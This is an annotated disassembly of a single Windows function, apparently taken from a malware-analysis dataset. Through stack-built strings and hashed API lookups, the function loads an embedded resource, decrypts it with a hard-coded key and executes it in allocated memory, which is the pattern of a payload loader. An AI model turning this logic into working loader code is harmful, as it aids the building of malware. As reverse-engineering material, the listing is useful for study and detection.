Function at 0x40c720
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x437168
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push ebx
push ebp
push esi
push edi
push 8
xor ebx, ebx
push str.1uLRDTeB
lea ecx, [esp + 0x50]
mov dword [esp + 0x68], 0xf
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
call fcn.00405460
mov ebp, dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
mov al, 0x6c
push ebx
mov byte [esp + 0x3e], al
mov byte [esp + 0x40], al
mov byte [esp + 0x41], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x32], al
mov byte [esp + 0x33], al
mov cl, 0x75
push ebx
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x78], ebx
mov byte [esp + 0x40], 0x56
mov byte [esp + 0x41], 0x69
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x74
mov byte [esp + 0x44], cl
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x47], 0x41
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x63
mov byte [esp + 0x4c], 0x45
mov byte [esp + 0x4d], 0x78
mov byte [esp + 0x4e], 0x4e
mov byte [esp + 0x4f], cl
mov byte [esp + 0x50], 0x6d
mov byte [esp + 0x51], 0x61
mov byte [esp + 0x52], bl
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x65
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], bl
call ebp
lea ecx, [esp + 0x34]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x1a4b89aa
push esi
mov dword [esp + 0x18], eax
call fcn.00408e00
mov edx, dword [esp + 0x64]
lea eax, [edx*8 - 0x5f27204]
push eax
push esi
call fcn.00408e00
push 0x31cb1743
push esi
mov edi, eax
call fcn.00408e00
add esp, 0x18
push 0xa
push 0x4b60
push ebx
mov esi, eax
call edi
mov edi, eax
cmp edi, ebx
jne 0x40c885
cmp dword [esp + 0x60], 0x10
jb 0x40c8a3
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.00429598
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret
push edi
push ebx
call esi
mov esi, eax
cmp esi, ebx
jne 0x40c8b8
cmp dword [esp + 0x60], 0x10
jb 0x40c8a3
mov edx, dword [esp + 0x4c]
push edx
call fcn.00429598
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
mov edi, eax
push ebx
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x20], edi
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x26], 0x73
mov byte [esp + 0x27], 0x6b
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x67
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], 0x2e
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x78
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
call ebp
test eax, eax
je 0x40c943
push ebx
push 0x438da0
call fcn.00417ed5
add esp, 4
push eax
push str.8192
call fcn.00417ed5
add esp, 4
or eax, 0x1000
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [esp + 0x28]
mov ebp, eax
cmp ebp, ebx
jne 0x40c961
lea ecx, [esp + 0x48]
call fcn.00404da0
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret
mov eax, dword [esp + 0x14]
mov ecx, edi
mov edx, ecx
shr ecx, 2
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [esp + 0x74]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x7c]
push ebp
push ecx
push edx
call fcn.00405660
add esp, 0x10
call ebp
lea ecx, [esp + 0x48]
call fcn.00404da0
mov ecx, dword [esp + 0x64]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x60
ret